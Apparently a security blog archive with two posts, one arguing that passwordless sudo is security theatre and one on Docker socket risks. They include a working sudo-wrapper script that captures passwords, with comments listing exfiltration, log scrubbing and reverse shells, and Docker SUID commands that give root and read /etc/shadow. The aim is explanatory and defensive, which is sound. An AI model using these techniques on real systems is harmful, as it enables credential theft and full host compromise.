Tag Archives: security

Passwordless sudo is security theatre

The tragedy of passwordless sudo

I believe the definition of security theatre says it all: “the practice of taking security measures that are intended to provide the feeling of improved security while doing little or nothing to achieve it”. I believe it’s actually worse than not employing such measures as it gives a false sense of security. There are good reasons why some jobs are better left for professionals.

So, what’s so bad about passwordless sudo? Well, it fails to prevent anything from a security perspective. There’s only one benefit: protection against incompetence i.e a bad command typed without the sudo prefix won’t destroy a system. That’s it. When every process running under that particular user can escalate to root or modify your user’s configuration to inject arbitrary code that can be escalated, the audit trail isn’t worth the bytes for saving auth.log as history can be rewritten. Some form of remote audit would keep an audit trail, but I believe the Venn diagram of the intersection between users of passworless sudo and users of remote audit trail (or even users who read auth.log for a change) is 0 (zero).

Passworless sudo is like a tweet from @ShitUserStory. It’s just root with extra steps, like having a Docker socket around. It is a bad idea no matter how many times this is being recommended.

This security meme stems from a few misunderstandings:

  1. That the root user is a major security risk.
  2. Disabling root somehow fixes that risk.
  3. The sudo alternative is somehow better without assessing its implications of the way it is being used.

To say that as a security professional I’m displeased when I see bad security advice is a bit of an understatement.

All of the operating systems used on the vast majority of the devices have a superuser (typically named “root” on unices/UNIX-like). Yes, even Windows has one: the SYSTEM account. Most people don’t even know it exists. So, branding this as a major security risk is a misnomer as virtually all of the devices around us have one. The risk is an unauthorised use, so this is what security measures need to prevent.

This takes me to the second bit, that disabling the root account somehow fixes the previously perceived risk. A superuser is necessary for specific systems administration tasks, so those privileges are necessary for very specific use cases.

So, the alternatives, which are better when used properly, boil down to use lower permissions most of the time and escalate privileges when necessary. sudo (for unices/UNIX-like) and UAC (for Windows) provide frameworks for unprivileged users to be able to escalate their permissions to run administrative tasks. So far so good.

However, using passwordless sudo whether because it’s convenient (saves the effort for typing passwords) or ignorance (the people who recommend it don’t understand the implications) has the same result: unfettered access to the superuser account.

I’m using the superuser term rather than root user because for unices/UNIX-like is not the name of the account that offers the user these unrestricted privileges, but the user ID (UID). That UID is 0 (zero).

You can rename the root user, albeit some poorly written scripts/applications would fail as they check for the name rather than UID. You can have users with duplicate UID and there are legitimate use cases for that, but this article won’t cover that scope. So, technically, you can have more than one superuser as duplicated UID 0 gives the same permissions to the duplicate UID user.

To wrap up, this is what happens when the UID is eyeballed:

$ id # normal user shell
uid=1000(saltwater) gid=1000(saltwater) groups=1000(saltwater)
# id # root shell
uid=0(root) gid=0(root) groups=0(root)
$ sudo id # normal user shell, invoking sudo
uid=0(root) gid=0(root) groups=0(root)

This is basically the crux of the problem i.e everything following the sudo command is executed as root, so precisely the alleged major security hole that has been closed by disabling the root user has been reintroduced by passwordless sudo. This takes me back to what I said earlier: it’s just root with extra steps and without any password to challenge the user it simply provides unrestricted access to the box.

Unless you’re using something like Vagrant for development purposes, passwordless sudo needs to stop, like yesterday.

Having a password-enabled sudo account isn’t a catch-all though. A weak password for example (which is easily guessed/bruteforced) and remote access via SSH means that the password actually gives complete system access. There’s a reason why typically SSH is used with authentication methods that don’t require the user’s password, such as the most common key-based auth.

Bonus round

The next offender for sudo-enabled accounts is running network services under such account, whether this is passwordless sudo or password protected sudo. This falls outside the scope of the passwordless sudo as any network service running under such an account has the potential for compromising a machine, so the risk factor here is sudo, regardless of how this is being set up. Some configurations are worse than others.

There’s usually a really good idea to run services under an unprivileged account, preferably one for each service that disallows user logins. So, if you installed a piece of software that does this, that machine is subjected to an increased risk of total compromise.

Scenarios if a network service runs under such account and it is affected by an arbitrary remote code execution (RCE) problem:

  1. passwordless sudo – sudo doesn’t require a terminal.
  2. passwordless sudo – sudo requires a terminal.
  3. password-enabled sudo.

The 1st scenario is instant game over. That RCE can run arbitrary code invoked with sudo, so it runs as root. That machine is completely compromised with minimal post-exploitation pivoting (i.e uses sudo to escalate and that’s it). The typical sudo setup for Debian and derivatives (Ubuntu for example) doesn’t require a terminal (TTY or PTY) to invoke sudo.

The 2nd and 3rd scenario requires some post-exploitation patience to escalate to root. The terminal requirement for sudo, which is typical for RHEL and rebuilds/derivatives, prevents sudo from being invoked as in most scenarios an RCE would lack a proper terminal. However, the sudo-enabled accounts are used by systems administrators and the user’s shell can be manipulated. So, having network services under system accounts that don’t use any shells has very good reasoning.

To manipulate the user’s shell, an attacker would need to:

  1. Expand the $PATH variable with an additional path which takes precedence such as PATH=~/.local/bin:$PATH where ~/.local/bin would need to be created if it doesn’t exist. An attacker running with the privileges of the administrator’s account can modify the shell initialisation files (.bashrc/.zshrc/whatever) to inject an updated $PATH.
  2. Have a sudo-wrapping script in that ~/.local/bin $PATH with the right execution privileges.
  3. Wait for the admin to invoke sudo.
  4. …?
  5. Profit.

A PoC script for such purposes:

#!/usr/bin/env bash

# common for Debian and RHEL families
sudo_bin=/usr/bin/sudo

if ! $sudo_bin -n true 2>/dev/null
then
  echo -n "[sudo] password for $(id -nu): "
  read -s password
  echo
  # create sudo session
  echo $password | $sudo_bin -S true >/dev/null 2>&1
fi

# Potential post exploitation actions:
# * Exfiltrate password and system info
# * Fork privileged process and scrub /var/log/auth.log for proof of exploitation
# * Spawn or download and spawn a reverse shell to persist compromise
# * Implode this script and reverse shell changes
# ???
# profit

echo "Under an attacker controlled scenario, this machine would be compromised"

# invoke whatever using actual sudo
$sudo_bin $@

This PoC checks if there’s a sudo session by invoking true. If there isn’t any, it prompts for the password. This covers both the 2nd and 3rd scenarios as passwordless sudo would just invoke true successfully. If there’s a session, then the whole if branch is skipped.

After this, for password-enabled sudo accounts, the password and system info can be easily exfiltrated via a HTTPS request for example, for future use. As soon as sudo has a session, it’s game over as the machine can be totally compromised.

Example:

$ which sudo
/home/saltwater/bin/sudo
$ sudo id
[sudo] password for saltwater: 
Under an attacker controlled scenario, this machine would be compromised
uid=0(root) gid=0(root) groups=0(root)

I’m a security pro and I can tell for sure that I don’t always check the path for sudo or auth.log after every use, so the chances of a layperson catching this kind of attack are pretty much nil.

Having Docker socket access is (probably) not a great idea

So, what’s the fuss about having access to Docker socket? Well, by default, it is pretty insecure. How insecure? Very. This isn’t something new, others wrote about this before, but I’m surprised people are still getting tripped by this as it isn’t properly advertised.

This isn’t an issue with Docker for Mac / Docker for Windows simply because the actual Docker installation runs in a virtual machine. So, at best, you can compromise the VM rather than the developer machine. This is an issue for people who develop under Linux or run Dockers on servers.

The root of the problem (pun intended) is that the root user inside the container is also the root user on the host machine. Docker is supposed to isolate the process, but, the isolation may fail (which, it has, in the past), or the kernel, which is shared, may have a vulnerability (which has happened in the past).

While the shared kernel by itself is unavoidable (after all, this is all the rage about containers), the root user within the container being the root user on the host can be workaround by user namespaces. This has some drawbacks and missing functionality, so Docker being Docker took convenience over security as defaults, violating an important security principle (secure defaults).

The escalation from user to root if that user has access to the Docker socket is pretty much time immemorial in *nix land and it involves setting the SUID bit.

In practical terms:

  1. Start a container with a volume mount from a path controlled by the unprivileged user.
  2. Set SUID for a binary inside the container, a binary which is owned by root. Consequently, that’s the same UID 0 as the root user on the host which is the crux of the matter. That binary needs to be placed into the volume mount path. Some binaries (such as sh or bash on newer distributions) are hardened and they don’t elevate EUID and EGID to 0 despite SUID being set.
  3. Run the binary on the host with the SUID set and the file owned by root.
  4. …?
  5. Profit. Welcome to EUID 0.

Practical example:

vagrant$ docker run -v $(pwd):/target -it ubuntu:14.04 /bin/bash
root@31e0908a67db:/# cp /bin/sh /target/
root@31e0908a67db:/# chmod +s /target/sh
root@31e0908a67db:/# exit
vagrant$ ./sh
# id
uid=1000(vagrant) gid=1000(vagrant) euid=0(root) egid=0(root) groups=0(root),1000(vagrant) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
cat /etc/shadow
[...]
bin::18474:0:99999:7:::
daemon::18474:0:99999:7:::
adm:*:18474:0:99999:7:::
[...]

The example uses an older image as sh is not hardened, but you get the gist. Any binary could do damage e.g a SUID cat or tee can arbitrarily write files with root privileges. With root access inside the container, installing packages from a repository is also possible e.g zsh is not hardened even on newer distributions.

For Linux developers, there’s no Docker for Linux. docker-machine still works to create machines in VirtualBox (or other hypervisors, including remotely on cloud). However, that has an expiration date as boot2docker (which is the backend image for the VirtualBox driver) has been deprecated and it recommends, wait for it, Docker for Desktop (Windows or Mac), or the Linux runtime. Precisely that runtime which is has vulnerable defaults. Triple facepalm.

The reasons for discontinuing boot2docker is the existing alternatives, but those alternatives don’t exist for Linux distributions or they are simply deprecated as well. With others being mainly the same idea of a VM (I even maintained one at some point) or docker-machine still depending on boot2docker, I don’t see any easy fix.

Possible solutions:

  • Dust off my old Docker VM (which I have). I wrote that with performance in mind, but for development purposes. It works cross-platform.
  • Try to build a newer boot2docker release. This may be more complicated as it involves upgrading both Tiny Core Linux and Docker itself, plus a host of VM drivers/additions/tools. For the time being, this seems like too much of a time commitment.

docker-machine supports an alternative release URL for boot2docker (if I’m reading the source code correctly i.e apiURL), so it should work with some effort, but without changing the code in docker-machine. Maintaining boot2docker on the other hand is the bit that looks time consuming which is far more than the 5 minutes to build my Docker VM from scratch.

As I’ve mentioned servers, the main takeaway is simple: don’t give access to the Docker socket for users other than root unless user namespaces are employed, provided this isn’t prevented by a legitimate use case which makes user namespaces noop. Should that be the case, then the Docket socket needs to be restricted to root only, otherwise, the risk of accidental machine compromise is too great as it increases the attack surface by a significant margin.